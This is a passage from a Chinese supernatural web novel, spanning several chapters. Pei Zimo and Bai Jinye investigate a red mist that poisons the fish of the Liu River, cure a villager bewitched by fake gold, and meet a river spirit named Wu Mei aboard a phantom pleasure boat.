白锦夜思索了一下,又想着如果告诉张之极孩子被一个老和尚抱走当徒弟了,他肯定不能接受,于是便道,“是个男孩,不过孩子生下来体弱多病,说是前些年要养在寺里。” “哪个寺?”张之极完全呆不住了,就想着立马出门,去看看这个曾外孙长什么样。 白锦夜摇了摇头,“也不准亲人探望的,外公,等过几年,孩子身体好了些,我们就带回来给你看看。” “哎。”张之极叹了口气,失望地坐回椅子上,“瞧瞧,我这盼来盘去的,好不容易有了,连看都看不到,过几年,也不知道我还能不能活到那个时候了。” “外公当然能。”白锦夜有些无奈地笑道,别说张之极失望,就连他自己现在想要见孩子都一样没什么办法。 沉默了半响,张之极又有些狐疑地看着白锦夜,“你不是骗我的吧?是不是根本就没有?” “怎么会?我哪敢骗你?”白锦夜看着他,“你不信去问子墨。” 张之极想了会又点点头,“倒也是,没必要在这事上骗我。不过,有了就好,有了就好,看样子你们这段时间关系总要比以前融洽了一些。” 白锦夜点点头,应了一声。 隔了会,张之极又说,“不过你母妃,最近不太好。” “她怎么了?”白锦夜赶紧问道,他现在对气息也不是很敏感,所以也不知道张太妃是不是在府里,不过按照以往,张太妃白日里都去寺里,应该是不在府上的。 张之极叹了口气,“我也说不清楚,身体时好时坏,找了不少大夫看过了,也看不出个所以然。本来我想着,带她回盛京,找御医看看,可是跟她提了两回,她是怎么都不想回盛京。我听说前些日子,有个太医告老还乡,倒是离复州不远,正准备带她过去看看。” “她现在在府上么?”白锦夜站起身,“我叫子墨去看看。” 张之极摇了摇头,“她这两日身体还不错,今日又去寺里了。” “那便等她回来。”白锦夜又道,“外公,你不必担心,子墨的医术很好。” 张之极又叹了口气,没说话。 第524章 有亲人在,活着才有念想 张太妃还没回来,白锦夜就先回了趟房间,跟裴子墨说了张太妃的事情。 裴子墨倒也不太意外,斟酌了下才开口道,“我想应该是肉尸的后遗症。” 白锦夜看着她,“你的意思是……” “这个你应该做好准备,她做了肉尸那么多年,其实身体的根基早就毁了,跟圣殿的肉尸一样,即便恢复成常人,寿命也会受到影响。”裴子墨说着顿了顿,“只是……若是张太妃不在了,你也不在你外公的身边,这偌大的张府,就剩下他一个人了。” 白锦夜听她这么说,便是知道张太妃恐怕时日无长。 而这个念头,在见到张太妃的时候,他就彻底的确认了,此刻的张太妃看起来,似乎比张之极还要苍老,头发和牙齿都开始脱落。 她出门便戴着帷帽,只有回到房间里才摘下来。 张之极也是说了半响,她才肯摘下帷帽,让裴子墨给瞧瞧。 裴子墨提着笔要写药方,可是对着面前空白的纸,笔却迟迟没有落下。 隔了好一会,倒是张太妃先开了口,“想必跟我之前那情况有关系吧?” 她虽然失忆了,但中间这么久的空白,她自然会问起。 一开始的张嬷嬷不说,后来还是张之极提起,他这一生大起大落,身边的亲人挨个离世,对这种事其实早就已经看开了,所以觉得没有必要瞒着张太妃,张嬷嬷这才把前前后后的事情,全都跟张太妃说了。 裴子墨点了点头。 张太妃沉默了一会,才又道,“听张嬷嬷提起以前那些事……虽然我已经不记得了,但是按说,我那时就应该死了,是么?” “嗯。”裴子墨又应了一声,“只不过因为你身上有个聚魂的物件,所以你才能以那样的状态存活下来。” 张太妃这才抬头看向张之极和白锦夜,“你们先出去吧,我想和她单独聊一会。” 她已经这样说了,白锦夜便扶着张之极先离开了房间。 张太妃这才看向裴子墨,“既然我这些日子活着,都已经是偷来的了,又何必在意那么多?如今,活着与我来说,不如死了。若不是想着我死了以后,就剩下爹爹一个人……如今他对这些事倒是看得开,可这世上有亲人在,便有一丝念想。” “我这方子,只能止住你身体上苍老的速度,但是对于延长寿命来说,并没有什么作用。”裴子墨这才开口解释道。 张太妃点点头,“应该也没有多少日子了吧。” 她这话像是在问裴子墨,可说出来,却是肯定的语气。 裴子墨便也没有再说话。 顿了顿,张太妃才问,“你和锦夜,去见过他三姨母了么?” 裴子墨点点头,“见过了,不过……”她说着轻轻叹了口气,“她对张明彻的怨气颇深,也延续到了锦夜的身上,再加上她这些年一直照顾着另外一个孩子,所以也不希望我们再去打扰她。” 张太妃垂下眼,低声道,“若我当时不是为了自己在宫中的地位,也不会想出这样的办法,也许锦夜在她的身边,就不用承受那么多,做一个皇子,有时候可不如寻常百姓。” “但这样也恰好救了白锦夜一命。”裴子墨说着便把噬魂钉的事情,跟张太妃说了一遍。 张太妃也有些诧异,“那你可查到了是谁下的毒手?” 裴子墨摇了摇头,“我隐约的知道是谁,但不能确定。” “是谁?”张太妃立刻问道。 如今也没什么可隐瞒的,裴子墨便直接道,“我猜应该是萧家的人,噬魂钉这种东西,不是普通人能使用的。三姨母给我们的名单上,有一个是萧家的远房亲戚,不过那个人在离开张府没多久之后,就离世了。” 她没有说的是,她也曾托鬼差查过这个人,本以为他应该是转世了,可没想到这个人死后就魂飞魄散了。 若不是知道极大的秘密,又怎么可能落得这个下场。 也正是因为这个,她当时才会把目光放到萧家人的身上。 不过这些都是她的猜测,所以也没有跟任何人提起过,现在萧家人也早都不在,更没有再追究的必要了。 “但萧家前两年,遭逢大难,如今已经没有后人存世了。”裴子墨又道,虽然萧尺寒还被困在那孤岛上,可大概也不会再有什么离开的希望了。 张太妃看了裴子墨一眼,顿了半响只是说,“可我到底也是造成他们母子分离、至今无法相认的罪魁祸首。” 对于这件事,裴子墨也无法出言安慰,也许她们姐妹相见,还能解开这心结,可这相见的日子,此生怕是没有希望了,沉默了片刻,她才问,“我们之前在昭纯宫地下的密室里,见到了锦成。锦成的事,我也了解了大概,我只是想知道,锦成为什么会在昭纯宫地下的密室,还有昭妃的事情,你清楚么?” 之前白锦夜他们都查过昭妃的事情,可是知道细节的人,几乎都不在人世了。 昭纯宫地下的阵法,虽然是很多很多年以前,裴子墨自己所留,但是那时候还没有昭纯宫,更不可能会引发大火。 “昭妃……”张太妃眯了眯眼,像是想了很久,还是摇了摇头,“我几乎什么都不记得了,这些事,还都是听张嬷嬷所说,其余的……”她说着笑得有些无奈,“我甚至连先皇长什么样都不记得了。哪怕现在提起三妹妹,我也只是依稀记得她儿时的模样。” 裴子墨轻轻叹了口气,转身把面前的药方写完。 “不过有些事,你可以问问张嬷嬷,她也许会知道。”张太妃又道。 裴子墨点点头,有些事其实已经没有那么重要了,但是以现在白锦夜的情况,暂时都没有办法回乾坤殿,那就总得找点事情做,不然恐怕白锦夜就会觉得自己是个累赘了。 况且,她主要也是不知道去哪里找老和尚,找点什么事做,分散下注意力总是好的。 第525章 画舫和雾气 自从张太妃吃了裴子墨开的药以后,精神头好了很多。 张之极这下也放心不少,甚至还拉上白锦夜去钓鱼了。 裴子墨闲着无聊,就也跟着一起去。 张之极虽然爱好钓鱼,但是在钓鱼的这件事上,却没什么天赋,白锦夜都钓了十几条鱼,他才钓了两条小鱼。 气得他在鱼钩上挂上一大坨鱼饵。 他的性格又不服输,白锦夜后来干脆站在岸边看张之极钓鱼,但看了半响,也没见鱼上钩。 眼见着太阳都偏西了,他也死活不肯回家。 裴子墨笑了笑,抬手对着水面画了个圈,片刻后,就有不少鱼游了过来,一条大鱼当场咬住了鱼钩。 这一条鱼比之前白锦夜钓上来的鱼都大,张之极笑得开心,“看看,运气都是要留到最后的,我这一条鱼就抵你那好几条。” 白锦夜自然知道这条鱼是裴子墨用术法帮了忙,但为了早点回去,也没有拆穿,只是随声附和,“是的,外公沉住气一整天,就是为了这条大鱼,值得值得。” 张之极满意地轻哼了一声,便拎起了鱼篓,“走,回家,今晚吃鱼。” 白锦夜点点头,拉着裴子墨跟在他身后。 走了两步,裴子墨就停下了脚步,转头往后看,脸色微微有些凝重。 “怎么了?”白锦夜轻声问道。 裴子墨拧了拧眉,像是有些事情没有想明白,便收回了目光,“没事。” 白锦夜也顺着她刚才的目光看了看,可他现在已经完全什么都看不出来了,只能跟着她往前走,回了家。 等晚上白锦夜沐浴完,却见裴子墨依旧站在窗边,看着外面发呆。 “白天是不是有什么事?”白锦夜走到她身边,开口问道。 裴子墨轻轻点了点头,“我出去一趟。” 白锦夜抬手拉住她的手腕,“我跟你一起去。” “不用。”裴子墨笑了笑,“如今在这里,还有谁能伤害得了我么?再说,万一真是有什么情况不对,我肯定马上就逃走了。” “那让国师跟你一起去吧。”白锦夜知道她说的在理,他去了其实也不能帮上什么忙,万一出了什么事情,他可能还是个累赘。 这一次裴子墨没有拒绝,带着黑袍人一起出了门。 又回到白天钓鱼的小河边,在明亮的月光下,河面上有袅袅的雾气,只不过这雾气里却泛着一丝红。 若是血气,也该有血腥的气息。 可这红色,却像是自然出现,除了水气以外,没有任何一点多余的气息。 她拧了拧眉,便听到远处有声音,立刻带着黑袍人躲进旁边的草丛。 没多久,便见到一艘巨大画舫顺流而下。 画舫周围的雾气更浓,隐隐约约的,便见到画舫上人来人往,还有些很缥缈的乐声传了过来。 可这么大一艘画舫,却也没有什么气息,没有人气,没有鬼气。 裴子墨有些想不明白,这复州还真是邪性,先有一个沈易安,现在又出来这奇怪的东西。 因为不清楚这到底是什么,所以裴子墨也不敢冒然上前。 眼见着画舫从面前划过,水面上的雾气也随着画舫的离开逐渐消散。 裴子墨正思索着,便听到有急匆匆的脚步声靠近,她起身看去,认出来是张府的下人。 “少奶奶,你快回去看看吧,府里突然有些人上吐下泻,老爷和少爷最严重,府医看过了也没什么法子,少爷说你在这里,让我来找你。”下人跑的气喘吁吁的,上气不接下气地道。 “这就回去。”水面上的雾气都消失了,裴子墨留在这里也没什么用,便转身往回走,她的脚步快,下人根本跟不上,眼下的事情有点奇怪,她也不能把报信的下人一个人丢下,于是便让黑袍人扛起了下人,一路回了张府。 本来下人是没有什么症状的,可是被颠了这一路,到了府上当场就吐了。 府上已经乱做了一团,主子都生了病,本来就麻烦,再加上还有一部分下人也生病,人手就显得有点不够了。 “少奶奶,我已经给他们开了止泻的药,只是这药吃下去,药效还没发挥,就全都吐出来了,这可怎么办?”府医迎了上来,一脸的焦虑。 “我看看。”裴子墨说着就要进门,可是门却在里面被锁住,“锦夜,开门。” “你先去看别人吧,反正症状都一样。”白锦夜有些纠结的声音传了过来,过了一会才补充,“我这会……不太整洁,呕……” 裴子墨揉了揉眉心,想着倒也是对的,白锦夜毕竟是冥尸,对他起效的,对别人不一定管用,相反对别人有作用的,在他身上又不一定奏效。 于是便转身随便找了个下人,脉象上倒是看不出什么问题,正在她思考的时候,下人实在是没忍住,又吐了出来。 一丝很淡的红气从他呕吐的秽物里飘散出来,很快就消失在空气里。 裴子墨这下就明白了,应该是跟今晚吃的鱼有关系。 她招来一个没事的下人,让他去问一问,这府上上吐下泻的下人,是不是今晚都吃过鱼。 他们今天钓的鱼不少,尤其是后来张之极钓了一条大鱼,一开心就把其他的鱼都赏给了下人。 不过这些下人也分着三六九等,所以自然是有的人吃到了,有的人就没吃到。 片刻后,下人就来回禀,确实出了问题的人都是今天吃过鱼的。 裴子墨便也不着急了,这回让府医开了催吐和腹泻的药,看样子是要把肚子里的红气全都排出去,这些人才能好了。 府医虽然不太明白是怎么回事,不过这几天看过张太妃的情况,他对裴子墨的医术也有所耳闻,便立刻去安排了。 全都吃了新开的药以后,府上一直折腾到天亮,才终于安静下来。 折腾了一宿的人,全都没了力气睡了过去。 剩下的人便赶紧打扫,又熏香去异味。 裴子墨坐在堂上,眯眼看着盆里最后两条小鱼,这两条小鱼就是张之极一开始钓上来的,实在太小,就没有吃,被一个厨娘的女儿拿去养着玩了。 第526章 反正他也不可能变得更加痴傻了 裴子墨看了许久,也没看出个所以然,拿着符纸试了好几次,也没试出什么来,最后只能先去睡一会。 等到第二天中午,府上的人才陆陆续续的醒过来。 白锦夜还好,但像是张之极,年纪确实有些大了,折腾了一晚,身体也吃不消。 好在张太妃到了复州之后都在诵经念佛的吃素,不然要是也折腾这么一下,估计恢复起来就更难了。 裴子墨睡醒后,再去看那两条鱼的时候,便见到两条鱼已经翻了白肚皮,她轻轻皱了下眉,还没等想什么,就有下人跑进来,“少爷,少奶奶,说是柳河那里不知道发生了什么事,突然冒出来很多死鱼,这会已经有不少人过去捡鱼了。” 死鱼虽然不新鲜,但看着也都是刚死的,对很多人来说,可是能改善伙食的,自然都跑过去争抢。 裴子墨拧了下眉头,“平时老爷都跟谁去钓鱼?你们去这几家人家里打探下,问问他们最近有没有去钓鱼,钓回来的鱼是不是吃了,吃了之后有没有什么奇怪的症状。” 他们回来的那天,张之极就是要去钓鱼的,但因为他们回来,张之极就没有出门。 之后的几天,张之极也都呆在家里没出去。 按理说,柳河的鱼如果有问题,那张之极他们之前钓的鱼也会有问题。 既然之前没有,那问题应该就是这几天出来的。 “你拿着我的令牌去官府,让他们派官兵把柳河围起来,不准百姓下河捡鱼,就说那些鱼都是被人毒死的,吃了有什么后果一律自行承担。”白锦夜解下自己的腰牌,递给管家,让他赶紧跑一趟复州知府衙门。 倒也没过多长时间,派出去问询的下人就都回来了。 那几个常跟张之极一起去钓鱼的人说,也就是大概三天前,吃了柳河钓回来的鱼,突然就病了,而且这一连病了三天,还是没有好利落,所以也就一直都没有出门。 他们没有吃催吐的药,所以这红气排出体外的速度比较慢,自然病程就会比较长。 这几个下人回禀了这些之后,有一个下人吱唔了半天,最后才在其他几个下人的“鼓励”下,把话说了出来,“我也是听我侄子说的,说是前两天晚上,他喝醉了酒,不知道怎么走的,就迷了路,等反应过来的时候,发现自己就在柳河边上。” “他那时候虽然有点清醒,但腿还是软的,便想歇会再走,哪知道就看到柳河上面划过来一艘大船。那船上可热闹了,什么人都有,唱小曲的,跳舞的,吟诗作画的,他也是在酒劲兴头上,就朝那船喊了两嗓子。” “结果还真的喊过来一个姑娘,他说那姑娘白衣飘飘,戴着面纱看不清脸,但肯定是个大美人。他也走不动路,就坐在岸边傻傻地看着那姑娘朝他走过来,是真的走过来,就从船上,一路过来,一开始是在空中,后来就踩着水面,稳稳地走到了他面前。” “她从地上捡起了块石头,也不知道怎么弄的,那石头就变成了一块金子,她把金子塞到了我那侄子手里,然后就笑着回去了,他一直说自己一定是遇到仙人了。” 裴子墨轻轻拧了拧眉,“这故事几成真几成假?若是你那侄子真的拿回去一块金子,又跟其他人说了这事,这些天复州的人不都得跑到柳河边上去碰运气?” 下人叹了口气,“可我那侄子回来,人就傻傻呆呆的了,每天就抱着那块金子傻笑。这些话,也是我们断断续续从他嘴里听说外加拼凑得来的。我们家一开始,谁也没把这事当成是真事,就以为他是喝酒喝傻了,那金子也不知道从哪弄的,说不定是偷的呢,也不敢张扬。可今天柳河又发生这事,我就想这两件事是不是有什么关联。” 裴子墨垂下眼,“此事也不要乱说,这柳河的事情多少有些蹊跷,我们会去查实的。”顿了顿她又问,“你那侄子家在何处,晚点我去看一眼。” “住在城东的小胡同里,不太好找,少奶奶你要是去的话,我可以带路。”下人赶紧道。 裴子墨点点头,“行,那一会出门的时候,我让人去叫你。” 打发了下人之后,裴子墨才看向白锦夜,“那天晚上,在柳河边,我也看到那艘船了。” 白锦夜一开始听她质疑那下人的话,还以为她是不相信,看样子她一早就知道那下人说的是真的。 “可是那艘船上,我感觉不到任何的气息。如果我闭上眼睛,根本不可能知道前面有什么,眼睛能看到,耳朵也隐隐的能听到,但是就是什么气息都感受不到。”裴子墨说着皱起眉头,“我从来没有遇到过这样的事情。” “当然,若是他们的术法极高,倒也不是不可能,毕竟你我这样的人,都不可能有点石成金之术。要是换成我,那最多也就是制造个幻觉,但这幻术也维持不了多久,也骗不了更多的人。” “可如果这些都是真的,这么多人都可以隐匿气息,术法都在你我之上,那也太可怕了。” “又或者,这船上所有的人,都在服侍一个人,而这个人的术法奇高,那他又会是从哪来的?为什么偏偏在这个时候到了复州呢?” 裴子墨轻轻叹了口气,“本来还以为来了复州,能消消停停的过段日子,结果没想到,又遇上这样棘手的事情。” “既来之,则安之。”白锦夜开口道,“稍后我们去看看那个目击者,看看能不能从他身上得到更有用的信息。实在不成,咱们今晚就去柳河边守着,等那船过来的时候,拦一下试试看。” 他说着顿了顿,朝黑袍人看过去,“让他去拦,反正他已经不可能变得更加痴傻了。” 裴子墨忍不住无奈地笑了笑,又道,“你吩咐下府上的人,最近都不要到处乱跑,尤其是不要往柳河边去。我去换身方便行动的衣服,咱们先去看看那个人,然后就去柳河,今天有这么多人都去柳河那边,搞不好晚上会有大事发生。” 第527章 黑色的毛发 听裴子墨这么一说,白锦夜的脸色也凝重起了起来。 两个人由下人带路,先去看了那下人的侄子孙才。 按照下人的说法,之前孙才还能断断续续描述那天晚上发生的事情的,可如今就只会抱着那块金子念叨仙女了。 “这……我前天见到他的时候还不是这样呢。”下人有点懵,赶紧解释自己不是在骗人,又把家人都拉出来作证。 裴子墨皱了下眉头,抬手轻轻抓了一下,孙才的魂魄就被她拉了出来,那边身体也就倒在了床上。 他家人不知道发生了什么事,正要上前,却被白锦夜阻止,“没事,我们看看到底发生了什么事。”他说着也上前,把孙才手里的金子拿了起来,仔细地检查了一番,也确认真的是金子。 裴子墨这边却皱起了眉头,孙才的魂魄离开身体之后,也一直在傻笑,一点反应都没有,有的时候,有些人被迷住,但是魂魄一旦离体,就会立刻清醒过来,不过那就是比较简单、不伤根本的迷术了。 眼前孙才的魂魄离体后一点变化都没有,就证明这秘术如果不破解掉,那将来哪怕他到了地府,可能都是这个状态,甚至于下辈子也没办法做一个健全的人了。 要么落入畜生道,要么孩子从出生那一刻起就是个傻子。 裴子墨只好把魂魄放了回去。 孙才一醒过来,立刻到处找自己的金子,随即又把金子捧在手里,小心翼翼地拿着。 裴子墨对着白锦夜摇了摇头,转身要走,但突然想起什么,转身几步上前,一把夺过了那块金子。 孙才见到自己的金子被抢走,当即就朝裴子墨扑过来,不过却被黑袍人按住。 裴子墨看着手里的金子眯了眯眼,从白锦夜借了九殇,就朝金子上劈去。 九殇切入金子之中,就像是切豆腐一样,瞬间就把金子一分为二。 而于此同时,孙才大叫了一声,就晕了过去。 裴子墨眯眼看着被切开的金子,这金子里面却不是金子,更不是石头,而是一团黑漆漆的毛发。 她拧着眉,往前走了几步,用九殇的剑尖挑起那团毛发,只不过毛发到了半空中,片刻之后迅速的枯萎,变黄,最后甚至变成灰烬,被风吹散。 其他人自然也看到了这一幕,下人诧异得说不出来话,半响才道,“那日他还把这金子给我看了一眼,我拿在手上,感觉重量也差不多啊,这怎么中间是空的,就一层薄薄的皮,怎么可能那么重?” 倒是孙才的娘亲想明白了什么,当即哭喊出声,“这到底是什么鬼东西啊,把我儿子害成这个样子?为什么要这么害我儿子啊!” 裴子墨把九殇还给白锦夜,走到孙才面前,大致地检查了下他的身体,抬手在他的脸上拍了拍,“醒醒。” 她拍下去的时候,自然是带了些术法的,所以人也不是她叫醒的,而是被术法激醒的。 孙才醒了之后,就茫然地看着周围,像是根本不知道发生了什么事。 也不等裴子墨说话,孙才的娘就冲了过去,仔细看了半响,见人确实是恢复正常了,就立刻转身给白锦夜和裴子墨跪下,“多谢王爷王妃,大恩大德,妇人没齿难忘,就算来世做牛做马……” 白锦夜挥了挥手打断她的话,又赶紧让下人把人扶起来,才看向孙才开口询问那天晚上的事情。 孙才的表情有些迷惑,想了半天,才开口道,“那天晚上我喝醉了酒,不知道怎么就走到柳河边,到那还睡着了,等我醒的时候,感觉至少也得有四更天了。我睡的难受,就想着去柳河洗把脸。” “开始的时候也没什么,可等我洗完脸,就见到前面有一艘特别大的船,那船上有很多人,都在喝酒作乐,柳河不深,我当时就鬼迷心窍了一样,想要过去看看。” “可是我跟那船好像一直都隔着一段距离,怎么都走不过去。后来那船上的人好像是发现了,就有一个女的走了过来……不,是飞了过来,她拽着我,把我扔回了岸上,还从地上捡起了一块石头,丢到我身上,说让我这种脏人滚远点。” “我当时也是生气,本想把那块石头捡起来扔回去,可是我拿起来才发现,那是一块金子,之后……之后的事情我就完全不记得了。”他说着私下看了看,“我什么时候回来的?发生什么事了?我遇到的那些是什么人啊?” 他遇到的是什么人,裴子墨也没法回答,只能转身看向他娘,“最近让他不要到处乱走,尤其是天黑了之后,就万不要出门。最近几天每日午时的时候,在院子里晒晒太阳,家里面熏点艾草。”说完便迈步往外面走。 孙才的娘一听,也就大概明白了,这明显是说是孙才撞鬼了,现在阳气弱,晚上就不要出门,还要多晒晒太阳。 她赶紧又跟了几步,不停地说着谢谢的话。 那下人也没想到裴子墨能治好他外甥,极度庆幸自己在张府当差。 从胡同里出来,裴子墨打发了下人回府,便和白锦夜往柳河边走。 “那团黑色的毛发不像是人的。”走了一段,裴子墨低声道,“可惜了,没看清那到底是什么东西,不然估计就知道那船是怎么回事了。” “别急,反正柳河就在那也跑不了,那船若是还会出现,就总能发现什么端倪。”白锦夜开口道。 他现在确实也是不着急,因为就算他着急,也什么都做不了。 而且他着急的情绪,也会影响裴子墨。 所以他现在要做的,就是努力地适应自己只是一个最最最普通的人。 他们两个到柳河的时候,柳河边上还是有不少的人。 虽然知府都已经派人把河边拦住了,不准任何人下河,但是这些人也迟迟没有离开。 知府见到白锦夜来,便赶紧迎了上来,“王爷,这到底是怎么回事啊?柳河怎么就会被人投了毒呢?”他说着转头看着河面上一大片一大片的死鱼,又压低了声音道,“刚才有鸟吃了那些鱼,好像也没事……现在这百姓是完全不相信柳河的鱼有毒。” 第528章 精怪 白锦夜拧起眉头,抬头看了看天,这会天已经暗下来了。 他转头看向裴子墨,“得想想办法,现在这些人不走,等天黑了,估计有人就要偷偷的找没人看守的地方下河捞鱼了。” 裴子墨凑到他耳边,低声说了几句话,随后便往河边走了几步,趁着天色暗,往河里扔了一道符纸。 片刻后,就有人惊呼,“天呐,河水怎么变红了?” “是啊,怎么这么红?好像是血!” “不会真的是血吧?哪来的这么多血?” “……” 这些人正议论着,便又有人道,“我小时候,就听我爷爷说,这柳河好像闹鬼,当时有一个法力很高的道士给镇压了,不会是当年镇压的术法失效了吧?” “这可说不好,我听说棉花胡同的那个孙才,前两天晚上喝醉酒,就在这撞了鬼。” “啊?是么?怎么回事?” “具体的我也不是很清楚,就听说从这回去,痴痴傻傻的好几天,今天才好转呢。” “这么邪性?” “……” 这几个人,都是白锦夜安排过去的,借着河水变红,再散播一些真真假假的谣言。 果然,听了这些之后,再加上天也黑了,不少人就迅速的离开了。 剩下的人见其他人走了,即便是自己不害怕,但是感觉也没必要留下来为了几条鱼的便宜真的惹上什么事。 不到一炷香,柳河边的人就全都散去了。 知府心里也有点犯嘀咕,走到白锦夜的身边,“王爷,这不会是真的吧?” 白锦夜也没回答这个问题,只是说,“你也带着人回去吧。” 知府脸色为难,白锦夜到底是王爷,若是真的在这出了什么事,那他身为复州知府,就难辞其咎。 可留下来,他心里确实也有点发毛。 他四处看了半响,最后只能道,“王爷,现在这也没什么百姓了,不如你也早点回去休息?” “我还有事要做。”白锦夜开口道,“你们都走吧。” 知府想着白锦夜已经这么说了,他再留下说不定就碍事了,于是赶紧招呼一声,带着所有人离开。 只不过回去的路上,他左思右想,还是觉得不踏实,就拐道去了张府。 平时他偶尔也会来拜访下张之极和张太妃,虽然他从来没有见到过张太妃,但张之极这个人还算是平易近人。 如今他就算回府,估计也吃不下,睡不着。 还不如来找张之极,一是找个人说话打发下时间。 另外……张之极毕竟是白锦夜的外公,他把事情跟他说一下,张之极要是担心,那肯定就会去把白锦夜找回来了。 而张之极如果都不担心的话,那估摸着问题也不大。 再加上他在张府,应该也能第一时间知道白锦夜那边的情况。 所以当下就决定去张府蹭饭。 张之极的身体还有点虚弱,跟知府聊起,便说了是因为吃了柳河的鱼。 知府这下是知道,白锦夜派人跟他说的,柳河的鱼有毒,也不是骗他,只不过这毒不算是致命,可折腾一下,也要少了半条命。 他有些担心地看着外面,“也不知道这到底是什么情况,王爷和王妃在那不会有什么危险吧?” 张之极摆了摆手,“不用担心,来,我陪你下两盘棋。”在这个世界上,张之极对白锦夜现在是最放心的了,他觉得就没什么事是白锦夜办不到的,所以是一点都不担心。 知府这会哪有心思下棋? 可张之极却已经叫人拿了棋盘过来,他也就只好一边担心着,一边有一搭没一搭地陪张之极下棋。 * 裴子墨站在柳河边上,看着柳河之上的死鱼,微微沉默了一会,让黑袍人出去找了个瓷碗回来,她盛了一些柳河的水,然后拿出一张空白符纸,写好符咒,烧成灰搅拌在水里,随即才看向白锦夜,“需要一点你的血。” 在这种事上,白锦夜向来不会吝惜,于是用九殇割破了掌心,滴了血到碗里。 裴子墨又搅拌了下,然后回到柳河边,把碗里的东西都倒进了柳河之中。 没一会,那些翻了白肚皮的鱼突然又全都翻过了身,四下游开了。 “这些鱼暂时就也像是我控制的冥尸,它们遇到的事情,我多少也能感知,虽然感知会很弱,但是这么多鱼,总能发现什么,只不过这术法维持不了多久,可能都坚持不到天亮,术法就散了。”裴子墨开口解释道。 “那我们回府去等?”白锦夜便问道。 “那估计也还不行。”裴子墨摇了摇头,“这术法在水里,会被河水稀释,鱼又多,分散到这么多鱼的身上,离得太远了,我恐怕就真的什么都感受不到了。”她说着指了指不远处的一块大石头,“去那边坐会,等一等结果吧。” 从入夜等到午夜,都没有一点动静。 裴子墨轻轻皱了下眉头,她已经能感受到自己术法的气息开始变得薄弱了,可能再过一会,这术法就要消散了。 之前是这些鱼的尸体都在河岸附近,她施法也容易控制。 可现在那些鱼游得到处都是,很难再施一次同样的术法了。 她正拧着眉,便见到河面上起了雾。 她抬手拽了拽白锦夜的衣袖。 白锦夜眼下虽然没什么术法,可是也能看见这雾,而且也能看到雾气中隐隐的红色。 又过了大概半刻钟的时间,裴子墨就听到了隐隐的乐声。 她闭上眼睛,努力地想要感受那些鱼能感受到的气息。 白锦夜坐在她旁边,也不敢打搅她,就盯着河面上的变化,偶尔转头看看她的情况。 没多久,河面上便出现了那艘船。 白锦夜也是听裴子墨和孙才提过这船,如今自己见到,也还是被震惊了下,这船这么大,按照吃水的程度,是绝对不可能在柳河里划起来的。 这柳河最深的地方,都没有一人高,这船要是在柳河里,显然船底应该碰到河床才是。 他拧了拧眉,转头看向裴子墨。 裴子墨也睁开了眼睛,低声道,“怪不得。” “你知道怎么回事了?”白锦夜赶紧问道。 裴子墨点点头,“这船和船上的人,跟柳河本来就是一体,在柳河气息的掩盖之下,我自然感受不到这船和那些人的气息,他们应该是这柳河里的精怪。” 第529章 乌媚 裴子墨也有些奇怪,近千年来,兽类都很少有开灵窍的了,那这柳河里能养出精怪,确实有些让人匪夷所思,“不过……”她说着顿了顿,又道,“但既然同是柳河里的精怪,为什么它们会杀死同类呢?” “不说是一人得道鸡犬升天吧,起码这些以往的邻居也应该照顾下。” “不过是精怪就好办多了,你在这里等我,我过去看看。” 白锦夜点点头,听裴子墨说完,多少也放下心了。 裴子墨把量天尺铺在水面上,站在量天尺上,往那船的方向靠过去。 船上的人很快也注意到了裴子墨,正有人要下来拦住她时,却被一个声音止住,“有贵客来,快迎上船。” 她这话音落下,便有踏板朝裴子墨搭了过来。 裴子墨也就顺势上了踏板,走上船,船上原本的丝乐声便都停止了,所有人都安安静静地呆在一边,给她让出了通路。 这些人甚至都低着头,像是不敢朝她这边打量。 片刻后,有一个侍女模样的人迎了上来,“这边请,我家小姐已经恭候多时了。” 裴子墨跟她进了画舫的三楼,在三楼临窗的地方,放置了一张八仙桌,一个穿着轻薄罗衫的女子坐在桌边。 桌上有酒有菜,看着样子,却是一口都没有动过,仿佛就是在等她一样。 而且等她进了门,外面的丝乐声又开始响了起来。 桌边的女子也起了身,朝裴子墨盈盈一拜,“小女子乌媚,恭候贵客多时了。” “你认识我?”裴子墨被乌媚请到桌边坐下,开口问道。 乌媚先是给她倒了一杯酒,随后重新坐下,才回道,“我在柳河千百年,虽然从不进复州城,但是对复州的事情,也知晓一些,那沈易安的事情,我早便知道,他如此害人,按说我也不该袖手旁观的。” “可是我化成人形的时候,出了一点问题,以致于我没有办法离开柳河,我曾经也试图把他骗到柳河来,但是他这个人太过警醒,刚到岸边就发现了什么,迅速的离开,再也没来过柳河。” “后来我听说沈易安的事情被解决了,这复州的情况,我多少了解,复州城内,不可能有人有这样的本事,那段时间,外来的人,也就是张府上下的人,我又听说,沈易安是因为惹了张府张公子的夫人才出了事,便知道大概跟你有关系了。” “我毕竟是靠复州的这方山水修炼,所以知道这件事的时候,对你也是心生感激。本来我们可能也不会有什么交集,但是不久之前,这复州的范围之内,包括这柳河,都出现了一些奇怪的现象。” “柳河的事情,我也尝试过解决,可毫无头绪,就更不用说其他的地方了。” “我也打听过,可听说你已经很久没有回过张府了,就连张府的老爷也不知道你和张公子身在何处。” “好在十几天之前,有个和尚大师从柳河这边路边,那大师还抱着一个婴儿。像我们这种精怪,对气息本就敏感,尤其是那大师又在柳河里抓鱼,我自然能感受到他不是凡人。于是我便请他帮忙。” “但是那大师说自己有事要忙,着急离开,我也不好强人所难,但见他抓鱼抓得费劲,就送了他几尾鱼,他可能是不想欠我人情,就掐算了一番,说你最近会回复州,让我在此处等你,你会来解决这些事的。” 裴子墨听她这么一说,自然知道那老和尚是谁,和尚,吃鱼吃肉喝酒,还带着个孩子,猜都不用猜了。 老和尚这吃人嘴短又贪吃的性子,大概是改不了了。 她只是希望,可别把她的儿子给带偏了。 不过……想一想,好像也避免不了了。 她无声地叹了口气。 但她也没想到,老和尚前段时间竟然来过复州,她想了会才道,“我来了复州也有几天了,不过倒是没察觉到什么异常,具体是什么事,你先说说。” 乌媚轻轻叹了一口气,转头看向外面,“就是那雾气。” 裴子墨顺着她的目光看过去,微微怔了一下,“我还以为这雾气是跟你们一起的,我昨天也来过这河边,和今天晚上一样,都是看着起了雾气,你们这船就出现了。” 乌媚摇了摇头,“我们只是跟着这雾气走,这雾气只会在有月亮的晚上出现,除了河面上会有,山林里面也一样会有。” “这雾气一开始就是在深林里出现的,那地方很少有人去,但是所有的动物只要进了雾气里面,就会像是中毒一样,上吐下泻,会病很多天,等病好了,就像是着了魔一样,又往雾气里面跑,折腾几次,命就没了。” 